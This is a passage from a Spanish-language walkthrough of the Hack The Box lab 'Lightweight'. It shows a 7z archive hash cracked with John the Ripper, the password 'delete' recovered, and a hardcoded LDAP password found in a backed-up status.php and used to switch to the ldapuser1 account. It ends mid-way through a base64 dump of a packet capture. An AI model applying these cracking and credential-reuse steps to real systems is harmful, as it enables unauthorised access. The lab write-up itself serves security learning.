58e910516c7c295a552802e47d699cdd98adea07bd4f53f745342b990067339b9a0a2ab0c6ea2c0210961b96c7c22b2daaa322de7fddc91527d118c45d4a2a08a2c37a85a7b665ab4ba625b983019085b32096c78ed8a760c83fbf6c5811b7b16681b0a61513686d6810c72d0f1c30b792b1948a478ad660a4036fcd5dbfc57b352a22a4ed27daf1f8455aa9d81a5b8b28287fea4342c14bd42cf3159c830d322d166958a6e233ca7b9dd2914fce1f2621f95998e83df69bee22f70ae086f242690631fcd33730bb2e5ad64fa7d0b7b93931957311eeaa9b45382d020e85856e456712da51a9c220226d2a177e758ea6b7631647cc8419d04fb6b5dab40a841ba9d5660a550ac817af679f3c1a266b9c657372988ab38cfb6971695c59b5454fdf7ca1170066b99c06c985fb8564eed4caade040ef9320d5198041a2bfc62b4b21eb080520628ed3c8c8a2ffd8e0073b24c2059815da86f1b682622e714124950ff26ad79bf31897331fc23cd075fb1f4822046273b0898bebc1ba23110d74ed459c0c0f12488f0b51310f59c9dae537cdda5a75d48a4ac544531fba92fd6dbaa018cb3cc69ee4b9859f3fa1e022d4850bfd995afa9d70273789084f5955a30df3cf7de7f45c2601fe1ee0adbc89dbbd1aa23badcdfcc9d95e2bfd6f102c92bd1fb9648f446a98ab16302049f6862a0da1c758d0f0a7763e9ac0cdda94bed47f98103f8e068cd12bc83bb9a2bd2be19593d64a2f1034cdad6fbee498488a5b37efebcfe667393cf91c1a4d00082ea8463d57e691a0fb3b2394090dab00bb00d27b418b0db0171da74b6d314b78d951ec5ec87eff81800a0f41bb5eb01d5d116183667e1762c4a1d19631c05a61e1be0f05e5188da27df1a0d8697119fbe29693d776ce50c7896a3bc52888ebdcec056a4d7e675af2ea8de25f52e0470e053dd6614b3548ad0cd282a76d397b7e2fedc98d975003bd29feebc53ee5b412088599ac203cb8b6be1f3a0414511391b3495d175b3dfda7990753255ff0f13eb86ce97b5c6925aa31868523c325548720179c69e0e8df8407f5e87f263acd024cc5c4f5a75ef7a6fc1a3b650257fca20aa00674f35a07dac72471bbb500152b51dfe1743b797ad61110aa76b9fe69c0a02506ba4a6fc0b4a202efb9d88dfba38e5b5352046022cc17b57bdb40153db6b97e2f344d2c4598c0d021044eeb01423f6f6ade5702e10b63782fedddbaeba1dd9f9725eb3f85584fce2319b24851d7ec3ba2c2774741683b383ec97aadb7c912d655b6e5b147c33bb1856623b8ca08f092c0677d56e1dde99aa31ab30a654c57828536a120b4e4835ca6c7b5a2243bddfb9a00750521c74654a281cb12c806437030cd577907a797dc63a3959d47b68119a32a229899be06b7979c14b2c98e75667b8c5d30f0dfedd9553ba894ad9acda62f7f607bb35c080c3a440108ac0ce45f1873c5873488f2901790b08cb4928932a1c479d89ded5f6ce9f16c297e9dcc33c6b882b26c53b7a4f2b390367e36e384c1eb9805c0471aad4f77496e8f4fd447448dd59536629a645d04956fc30bcc686718e8d4d7cfc9ecbef3745af038de55826d328b7bad4a2eb7a10faf09c0618fd90d1941e8e3274bcd6eb2d8bed430ebfe6e8682b60390d79161f3a349c73de552d40f7421e5c4b4de80feb3998eb4ce6ecaef9bd2768e8be6534cd12ac163e70d3ed23963801c04770610c91f1ffcf4cbdf2a733f51e6fd596c855c0b905822a3838a82ea2d0e51dd442c451d05c6aa1b0099883db543927c0cc4016e27bb1b17fe863ae0c18458edbccdd6b15f0b73c3dc8c672c1bbbd81f290e9bb5291192143945d58757f64eceebd88e467d48b54a25cee7ed75263a4bb5d5597b9b5b75b6c254f81871f18246d2d91f664a0f49c1f67940d792d225272e713259f3135e5c286e081b1e2331f9217de1c0c9109d7a898458be85a4c130ea6e8c0db4dc5dbf77da5045f7da647c66e5af5676bb15221d5152da551a9390fda92e3539fde7afbd04e2e710ef28b5d5e50f2fdac106c9a18ef02414fb466f50f52b6e88e336ffe4fa929d9548630f3d7fb7d50ea590b2e3bdc3a88cf9d7f6b30f07d28ddf28c15c5371eb$4218$03
</span></span></code></pre></div><p>Listo el paso 1, obtener el hash del archivo 7z. Paso 2, romperla:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/lightweight$ ~/git/JohnTheRipper/run/john --wordlist=/home/xbytemx/wl/rockyou.txt 7z.hash
</span></span><span style="display:flex;"><span>Warning: detected hash type &#34;7z&#34;, but the string is also recognized as &#34;7z-opencl&#34;
</span></span><span style="display:flex;"><span>Use the &#34;--format=7z-opencl&#34; option to force loading these as that type instead
</span></span><span style="display:flex;"><span>Using default input encoding: UTF-8
</span></span><span style="display:flex;"><span>Loaded 1 password hash (7z, 7-Zip [SHA256 256/256 AVX2 8x AES])
</span></span><span style="display:flex;"><span>Cost 1 (iteration count) is 524288 for all loaded hashes
</span></span><span style="display:flex;"><span>Cost 2 (padding size) is 12 for all loaded hashes
</span></span><span style="display:flex;"><span>Cost 3 (compression type) is 2 for all loaded hashes
</span></span><span style="display:flex;"><span>Will run 4 OpenMP threads
</span></span><span style="display:flex;"><span>Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status
</span></span><span style="display:flex;"><span>delete           (backup2.7z)
</span></span><span style="display:flex;"><span>1g 0:00:01:09 DONE (2019-04-08 21:10) 0.01447g/s 30.10p/s 30.10c/s 30.10C/s slimshady..jonathan1
</span></span><span style="display:flex;"><span>Use the &#34;--show&#34; option to display all of the cracked passwords reliably
</span></span><span style="display:flex;"><span>Session completed
</span></span></code></pre></div><p>Asi que la pass es <strong>delete</strong>. Descomprimamos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/lightweight$ 7z x backup2.7z
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
</span></span><span style="display:flex;"><span>p7zip Version 16.02 (locale=es_MX.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz (40651),ASM,AES-NI)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Scanning the drive for archives:
</span></span><span style="display:flex;"><span>1 file, 3411 bytes (4 KiB)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Extracting archive: backup2.7z
</span></span><span style="display:flex;"><span>--
</span></span><span style="display:flex;"><span>Path = backup2.7z
</span></span><span style="display:flex;"><span>Type = 7z
</span></span><span style="display:flex;"><span>Physical Size = 3411
</span></span><span style="display:flex;"><span>Headers Size = 259
</span></span><span style="display:flex;"><span>Method = LZMA2:12k 7zAES
</span></span><span style="display:flex;"><span>Solid = +
</span></span><span style="display:flex;"><span>Blocks = 1
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Enter password (will not be echoed):
</span></span><span style="display:flex;"><span>Everything is Ok
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Files: 5
</span></span><span style="display:flex;"><span>Size:       10270
</span></span><span style="display:flex;"><span>Compressed: 3411
</span></span></code></pre></div><p>Una vez que se descomprime de manera exitosa, veamos cual es el contenido que nos entrego backup:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/lightweight$ 7z l -pdelete backup.7z
</span></span><span style="display:flex;"><span>Date      Time    Attr         Size   Compressed  Name
</span></span><span style="display:flex;"><span>------------------- ----- ------------ ------------  ------------------------
</span></span><span style="display:flex;"><span>2018-06-13 13:48:41 ....A         4218         3152  index.php
</span></span><span style="display:flex;"><span>2018-06-13 13:47:14 ....A         1764               info.php
</span></span><span style="display:flex;"><span>2018-06-10 10:08:57 ....A          360               reset.php
</span></span><span style="display:flex;"><span>2018-06-14 14:06:33 ....A         2400               status.php
</span></span><span style="display:flex;"><span>2018-06-13 13:47:46 ....A         1528               user.php
</span></span><span style="display:flex;"><span>------------------- ----- ------------ ------------  ------------------------
</span></span><span style="display:flex;"><span>2018-06-14 14:06:33              10270         3152  5 files
</span></span></code></pre></div><p>Perfecto, ahora podemos cerrar interrogantes al analizar el código de cada archivo.</p>
<ol>
<li>index.php: No tiene nada especial que hayamos visto antes.</li>
<li>info.php:</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span> $ip<span style="color:#f92672">=</span>$_SERVER[<span style="color:#e6db74">&#39;REMOTE_ADDR&#39;</span>];<span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><ol start="3">
<li>reset.php:</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span>
</span></span><span style="display:flex;"><span>$ip <span style="color:#f92672">=</span> $_SERVER[<span style="color:#e6db74">&#39;REMOTE_ADDR&#39;</span>];
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">file_put_contents</span>(<span style="color:#e6db74">&#34;/var/www/html/reset_req&#34;</span>, $ip<span style="color:#f92672">.</span><span style="color:#a6e22e">PHP_EOL</span>, <span style="color:#a6e22e">FILE_APPEND</span> <span style="color:#f92672">|</span> <span style="color:#a6e22e">LOCK_EX</span>);
</span></span><span style="display:flex;"><span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><ol start="4">
<li>status.php:</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span>$username <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;ldapuser1&#39;</span>;
</span></span><span style="display:flex;"><span>$password <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;f3ca9d298a553da117442deeb6fa932d&#39;</span>;
</span></span><span style="display:flex;"><span>$ldapconfig[<span style="color:#e6db74">&#39;host&#39;</span>] <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;lightweight.htb&#39;</span>;
</span></span><span style="display:flex;"><span>$ldapconfig[<span style="color:#e6db74">&#39;port&#39;</span>] <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;389&#39;</span>;
</span></span><span style="display:flex;"><span>$ldapconfig[<span style="color:#e6db74">&#39;basedn&#39;</span>] <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;dc=lightweight,dc=htb&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#75715e">//$ldapconfig[&#39;usersdn&#39;] = &#39;cn=users&#39;;
</span></span></span><span style="display:flex;"><span>$ds<span style="color:#f92672">=</span><span style="color:#a6e22e">ldap_connect</span>($ldapconfig[<span style="color:#e6db74">&#39;host&#39;</span>], $ldapconfig[<span style="color:#e6db74">&#39;port&#39;</span>]);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">ldap_set_option</span>($ds, <span style="color:#a6e22e">LDAP_OPT_PROTOCOL_VERSION</span>, <span style="color:#ae81ff">3</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">ldap_set_option</span>($ds, <span style="color:#a6e22e">LDAP_OPT_REFERRALS</span>, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">ldap_set_option</span>($ds, <span style="color:#a6e22e">LDAP_OPT_NETWORK_TIMEOUT</span>, <span style="color:#ae81ff">10</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$dn<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;uid=ldapuser1,ou=People,dc=lightweight,dc=htb&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> ($bind<span style="color:#f92672">=</span><span style="color:#a6e22e">ldap_bind</span>($ds, $dn, $password)) {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">echo</span>(<span style="color:#e6db74">&#34;&lt;p&gt;&lt;i&gt;You may or may not see this page when you are banned. &lt;/i&gt;&lt;br&gt;&lt;br&gt;&#34;</span>);
</span></span><span style="display:flex;"><span>} <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">echo</span>(<span style="color:#e6db74">&#34;Unable to bind to server.&lt;/br&gt;&#34;</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">echo</span>(<span style="color:#e6db74">&#34;msg:&#39;&#34;</span><span style="color:#f92672">.</span><span style="color:#a6e22e">ldap_error</span>($ds)<span style="color:#f92672">.</span><span style="color:#e6db74">&#34;&#39;&lt;/br&gt;&#34;</span><span style="color:#f92672">.</span><span style="color:#a6e22e">ldap_errno</span>($ds)<span style="color:#f92672">.</span><span style="color:#e6db74">&#34;&#34;</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> ($bind<span style="color:#f92672">=</span><span style="color:#a6e22e">ldap_bind</span>($ds)) {
</span></span><span style="display:flex;"><span>    $filter <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;(cn=*)&#34;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>($search<span style="color:#f92672">=@</span><span style="color:#a6e22e">ldap_search</span>($ds, $ldapconfig[<span style="color:#e6db74">&#39;basedn&#39;</span>], $filter))) {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">echo</span>(<span style="color:#e6db74">&#34;Unable to search ldap server&lt;br&gt;&#34;</span>);
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">echo</span>(<span style="color:#e6db74">&#34;msg:&#39;&#34;</span><span style="color:#f92672">.</span><span style="color:#a6e22e">ldap_error</span>($ds)<span style="color:#f92672">.</span><span style="color:#e6db74">&#34;&#39;&lt;/br&gt;&#34;</span>);
</span></span><span style="display:flex;"><span>    } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>      $number_returned <span style="color:#f92672">=</span> <span style="color:#a6e22e">ldap_count_entries</span>($ds,$search);
</span></span><span style="display:flex;"><span>      $info <span style="color:#f92672">=</span> <span style="color:#a6e22e">ldap_get_entries</span>($ds, $search);
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;The number of entries returned is &#34;</span><span style="color:#f92672">.</span> $number_returned<span style="color:#f92672">.</span><span style="color:#e6db74">&#34;&lt;p&gt;&#34;</span>;
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">for</span> ($i<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>; $i<span style="color:#f92672">&lt;</span>$info[<span style="color:#e6db74">&#34;count&#34;</span>]; $i<span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">var_dump</span>($info[$i]);
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">echo</span>(<span style="color:#e6db74">&#34;Unable to bind anonymously&lt;br&gt;&#34;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">echo</span>(<span style="color:#e6db74">&#34;msg:&#34;</span><span style="color:#f92672">.</span><span style="color:#a6e22e">ldap_error</span>($ds)<span style="color:#f92672">.</span><span style="color:#e6db74">&#34;&lt;br&gt;&#34;</span>);
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><ol start="5">
<li>user.php: Nada realmente nuevo.</li>
</ol>
<p>Nos quedamos con lo que nos entrega status (motivo por el cual tardaba en cargar):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>$username = &#39;ldapuser1&#39;;
</span></span><span style="display:flex;"><span>$password = &#39;f3ca9d298a553da117442deeb6fa932d&#39;;
</span></span><span style="display:flex;"><span>$ldapconfig[&#39;host&#39;] = &#39;lightweight.htb&#39;;
</span></span><span style="display:flex;"><span>$ldapconfig[&#39;port&#39;] = &#39;389&#39;;
</span></span><span style="display:flex;"><span>$ldapconfig[&#39;basedn&#39;] = &#39;dc=lightweight,dc=htb&#39;;
</span></span></code></pre></div><p>Si recordamos, esto no es un hash y es una contraseña ya que se usa sobre ldap con bind auth. Probemos nuestras nuevas credenciales:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[10.10.14.151@lightweight ~]$ su - ldapuser1
</span></span><span style="display:flex;"><span>Contraseña:
</span></span><span style="display:flex;"><span>Último inicio de sesión:mar abr  9 03:10:38 BST 2019en pts/3
</span></span><span style="display:flex;"><span>[ldapuser1@lightweight ~]$
</span></span></code></pre></div><p>Perfecto, ya tenemos las dos cuentas principales de home.</p>
<blockquote>
<p>ldapuser1 / f3ca9d298a553da117442deeb6fa932d</p>
</blockquote>
<h1 id="from-ldapuser1-to-">From ldapuser1 to ???</h1>
<p>Ahora que veamos que nos deja ldapuser1:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[ldapuser1@lightweight ~]$ ls -lah
</span></span><span style="display:flex;"><span>total 1.6M
</span></span><span style="display:flex;"><span>drwx------.  5 ldapuser1 ldapuser1  239 Apr  9 02:06 .
</span></span><span style="display:flex;"><span>drwxr-xr-x. 34 root      root      4.0K Apr  9 03:06 ..
</span></span><span style="display:flex;"><span>-rw-------.  1 ldapuser1 ldapuser1    0 Jun 21  2018 .bash_history
</span></span><span style="display:flex;"><span>-rw-r--r--.  1 ldapuser1 ldapuser1   18 Apr 11  2018 .bash_logout
</span></span><span style="display:flex;"><span>-rw-r--r--.  1 ldapuser1 ldapuser1  193 Apr 11  2018 .bash_profile
</span></span><span style="display:flex;"><span>-rw-r--r--.  1 ldapuser1 ldapuser1  246 Jun 15  2018 .bashrc
</span></span><span style="display:flex;"><span>drwxrwxr-x.  3 ldapuser1 ldapuser1   18 Apr  8 21:06 .cache
</span></span><span style="display:flex;"><span>-rw-rw-r--.  1 ldapuser1 ldapuser1 9.5K Jun 15  2018 capture.pcap
</span></span><span style="display:flex;"><span>drwxrwxr-x.  3 ldapuser1 ldapuser1   18 Apr  8 21:22 .config
</span></span><span style="display:flex;"><span>-rw-rw-r--.  1 ldapuser1 ldapuser1  646 Jun 15  2018 ldapTLS.php
</span></span><span style="display:flex;"><span>-rwxrwxr-x.  1 ldapuser1 ldapuser1  45K Apr  7 18:35 LinEnum.sh
</span></span><span style="display:flex;"><span>-rwxr-xr-x.  1 ldapuser1 ldapuser1 543K Jun 13  2018 openssl
</span></span><span style="display:flex;"><span>drwxrw----.  3 ldapuser1 ldapuser1   19 Apr  8 23:26 .pki
</span></span><span style="display:flex;"><span>-rw-------.  1 ldapuser1 ldapuser1 1.0K Apr  9 01:42 .rnd
</span></span><span style="display:flex;"><span>-rwxr-xr-x.  1 ldapuser1 ldapuser1 921K Jun 13  2018 tcpdump
</span></span><span style="display:flex;"><span>-rw-------.  1 ldapuser1 ldapuser1  691 Apr  9 02:05 .viminfo
</span></span></code></pre></div><p>Ese archivo capture.pcap suena muy sospechoso, mas por como entramos de unpriv ip user a ldapuser2. Respaldemos los archivos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[ldapuser1@lightweight ~]$ base64 capture.pcap
</span></span><span style="display:flex;"><span>1MOyoQIABAAAAAAAAAAAAP//AAABAAAAeAskWwvrBgBeAAAAXgAAAAAAAAAAAAAAAAAAAIbdYAAA
</span></span><span style="display:flex;"><span>AAAoBkD+gAAAAAAAAHkKHJo9Yd5E/oAAAAAAAAB5ChyaPWHeRNSkAYUy6e1iAAAAAKACqqpfxQAA
</span></span><span style="display:flex;"><span>AgT/xAQCCAoBRjVyAAAAAAEDAwZ4CyRbk+sGAF4AAABeAAAAAAAAAAAAAAAAAAAAht1gAAAAACgG
</span></span><span style="display:flex;"><span>QP6AAAAAAAAAeQocmj1h3kT+gAAAAAAAAHkKHJo9Yd5EAYXUpEfElRYy6e1joBKqql/FAAACBP/E
</span></span><span style="display:flex;"><span>BAIICgFGNXIBRjVyAQMDBngLJFvM6wYAVgAAAFYAAAAAAAAAAAAAAAAAAACG3WAAAAAAIAZA/oAA
</span></span><span style="display:flex;"><span>AAAAAAB5ChyaPWHeRP6AAAAAAAAAeQocmj1h3kTUpAGFMuntY0fElReAEAKrX70AAAEBCAoBRjVy
</span></span><span style="display:flex;"><span>AUY1cngLJFuf7AYAsQAAALEAAAAAAAAAAAAAAAAAAACG3WAAAAAAewZA/oAAAAAAAAB5ChyaPWHe
</span></span><span style="display:flex;"><span>RP6AAAAAAAAAeQocmj1h3kTUpAGFMuntY0fElReAGAKrYBgAAAEBCAoBRjVyAUY1cjBZAgEBYFQC
</span></span><span style="display:flex;"><span>AQMELXVpZD1sZGFwdXNlcjIsb3U9UGVvcGxlLGRjPWxpZ2h0d2VpZ2h0LGRjPWh0YoAgOGJjODI1
</span></span><span style="display:flex;"><span>MTMzMmFiZTFkN2YxMDVkM2U1M2FkMzlhYzJ4CyRbsuwGAFYAAABWAAAAAAAAAAAAAAAAAAAAht1g
</span></span><span style="display:flex;"><span>AAAAACAGQP6AAAAAAAAAeQocmj1h3kT+gAAAAAAAAHkKHJo9Yd5EAYXUpEfElRcy6e2+gBACq1+9
</span></span><span style="display:flex;"><span>AAABAQgKAUY1cgFGNXJ4CyRbMmwHAGQAAABkAAAAAAAAAAAAAAAAAAAAht1gAAAAAC4GQP6AAAAA
</span></span><span style="display:flex;"><span>AAAAeQocmj1h3kT+gAAAAAAAAHkKHJo9Yd5EAYXUpEfElRcy6e2+gBgCq1/LAAABAQgKAUY1kwFG
</span></span><span style="display:flex;"><span>NXIwDAIBAWEHCgEABAAEAHgLJFtnbAcAVgAAAFYAAAAAAAAAAAAAAAAAAACG3WAAAAAAIAZA/oAA
</span></span><span style="display:flex;"><span>AAAAAAB5ChyaPWHeRP6AAAAAAAAAeQocmj1h3kTUpAGFMuntvkfElSWAEAKrX70AAAEBCAoBRjWT
</span></span><span style="display:flex;"><span>AUY1k3gLJFuBgwcAXQAAAF0AAAAAAAAAAAAAAAAAAACG3WAAAAAAJwZA/oAAAAAAAAB5ChyaPWHe
</span></span><span style="display:flex;"><span>RP6AAAAAAAAAeQocmj1h3kTUpAGFMuntvkfElSWAGAKrX8QAAAEBCAoBRjWTAUY1kzAFAgECQgB4
</span></span><span style="display:flex;"><span>CyRb44MHAFYAAABWAAAAAAAAAAAAAAAAAAAAht1gAAAAACAGQP6AAAAAAAAAeQocmj1h3kT+gAAA
</span></span><span style="display:flex;"><span>AAAAAHkKHJo9Yd5E1KQBhTLp7cVHxJUlgBECq1+9AAABAQgKAUY1kwFGNZN4CyRbDokHAFYAAABW
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAht1gAAAAACAGQP6AAAAAAAAAeQocmj1h3kT+gAAAAAAAAHkKHJo9Yd5E
</span></span><span style="display:flex;"><span>1KQBhTLp7cVHxJUlgBECq1+9AAABAQgKAUY1nQFGNZN4CyRbHokHAGIAAABiAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAht1gAAAAACwGQP6AAAAAAAAAeQocmj1h3kT+gAAAAAAAAHkKHJo9Yd5EAYXUpEfElSUy6e3G
</span></span><span style="display:flex;"><span>sBACq1/JAAABAQgKAUY1nQFGNZMBAQUKMuntxTLp7cZ4CyRboZAHAFYAAABWAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAht1gAAAAACAGQP6AAAAAAAAAeQocmj1h3kT+gAAAAAAAAHkKHJo9Yd5EAYXUpEfElSUy6e3G
</span></span><span style="display:flex;"><span>gBECq1+9AAABAQgKAUY1nQFGNZN4CyRbxpAHAFYAAABWAAAAAAAAAAAAAAAAAAAAht1gAAAAACAG
</span></span><span style="display:flex;"><span>QP6AAAAAAAAAeQocmj1h3kT+gAAAAAAAAHkKHJo9Yd5E1KQBhTLp7cZHxJUmgBACq1+9AAABAQgK
</span></span><span style="display:flex;"><span>AUY1nQFGNZ1+CyRblt4LAF4AAABeAAAAAAAAAAAAAAAAAAAAht1gAAAAACgGQP6AAAAAAAAAeQoc
</span></span><span style="display:flex;"><span>mj1h3kT+gAAAAAAAAHkKHJo9Yd5E1KYBhVui0kwAAAAAoAKqql/FAAACBP/EBAIICgFGTiUAAAAA
</span></span><span style="display:flex;"><span>AQMDBn4LJFv43gsAXgAAAF4AAAAAAAAAAAAAAAAAAACG3WAAAAAAKAZA/oAAAAAAAAB5ChyaPWHe
</span></span><span style="display:flex;"><span>RP6AAAAAAAAAeQocmj1h3kQBhdSmH6vna1ui0k2gEqqqX8UAAAIE/8QEAggKAUZOKQFGTiUBAwMG
</span></span><span style="display:flex;"><span>fgskW37fCwBWAAAAVgAAAAAAAAAAAAAAAAAAAIbdYAAAAAAgBkD+gAAAAAAAAHkKHJo9Yd5E/oAA
</span></span><span style="display:flex;"><span>AAAAAAB5ChyaPWHeRNSmAYVbotJNH6vnbIAQAqtfvQAAAQEICgFGTikBRk4pfgskWx4XDAB1AAAA
</span></span><span style="display:flex;"><span>dQAAAAAAAAAAAAAAAAAAAIbdYAAAAAA/BkD+gAAAAAAAAHkKHJo9Yd5E/oAAAAAAAAB5ChyaPWHe
</span></span><span style="display:flex;"><span>RNSmAYVbotJNH6vnbIAYAqtf3AAAAQEICgFGTjcBRk4pMB0CAQF3GIAWMS4zLjYuMS40LjEuMTQ2
</span></span><span style="display:flex;"><span>Ni4yMDAzN34LJFtkFwwAVgAAAFYAAAAAAAAAAAAAAAAAAACG3WAAAAAAIAZA/oAAAAAAAAB5Chya
</span></span><span style="display:flex;"><span>PWHeRP6AAAAAAAAAeQocmj1h3kQBhdSmH6vnbFui0myAEAKrX70AAAEBCAoBRk43AUZON34LJFuA
</span></span><span style="display:flex;"><span>GQwAZAAAAGQAAAAAAAAAAAAAAAAAAACG3WAAAAAALgZA/oAAAAAAAAB5ChyaPWHeRP6AAAAAAAAA
</span></span><span style="display:flex;"><span>eQocmj1h3kQBhdSmH6vnbFui0myAGAKrX8sAAAEBCAoBRk43AUZONzAMAgEBeAcKAQAEAAQAfgsk
</span></span><span style="display:flex;"><span>W5gZDABWAAAAVgAAAAAAAAAAAAAAAAAAAIbdYAAAAAAgBkD+gAAAAAAAAHkKHJo9Yd5E/oAAAAAA
</span></span><span style="display:flex;"><span>AAB5ChyaPWHeRNSmAYVbotJsH6vneoAQAqtfvQAAAQEICgFGTjcBRk43fwskW/JYBQB3AQAAdwEA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAIbdYAAAAAFBBkD+gAAAAAAAAHkKHJo9Yd5E/oAAAAAAAAB5ChyaPWHeRNSm
</span></span><span style="display:flex;"><span>AYVbotJsH6vneoAYAqtg3gAAAQEICgFGUF4BRk43FgMBARwBAAEYAwPRtfycQx1nI+UQhq/CrH5D
</span></span><span style="display:flex;"><span>Oj9cP66yt/FW5kVB1gNKSwAArMAwwCzAKMAkwBTACgClAKMAoQCfAGsAagBpAGgAOQA4ADcANgCI
</span></span><span style="display:flex;"><span>AIcAhgCFwDLALsAqwCbAD8AFAJ0APQA1AITAL8ArwCfAI8ATwAkApACiAKAAngBnAEAAPwA+ADMA
</span></span><span style="display:flex;"><span>MgAxADAAmgCZAJgAlwBFAEQAQwBCwDHALcApwCXADsAEAJwAPAAvAJYAQcASwAgAFgATABAADcAN
</span></span><span style="display:flex;"><span>wAMACgAHwBHAB8AMwAIABQAEAP8BAABDAAsABAMAAQIACgAKAAgAFwAZABgAFgAjAAAADQAgAB4G
</span></span><span style="display:flex;"><span>AQYCBgMFAQUCBQMEAQQCBAMDAQMCAwMCAQICAgMADwABAX8LJFtPYwUAnwIAAJ8CAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAACG3WAAAAACaQZA/oAAAAAAAAB5ChyaPWHeRP6AAAAAAAAAeQocmj1h3kQBhdSmH6vnelui
</span></span><span style="display:flex;"><span>042AGAK8YgYAAAEBCAoBRlBnAUZQXhYDAwA6AgAANgMDA4Ue6Hc4V/47bFSDszjdwdnP9zrwRyKM
</span></span><span style="display:flex;"><span>vpqkm3H1W+AAAJ0AAA7/AQABAAAjAAAADwABARYDAwH8CwAB+AAB9QAB8jCCAe4wggFXoAMCAQIC
</span></span><span style="display:flex;"><span>BQCtxrGyMA0GCSqGSIb3DQEBCwUAMBoxGDAWBgNVBAMTD2xpZ2h0d2VpZ2h0Lmh0YjAeFw0xODA2
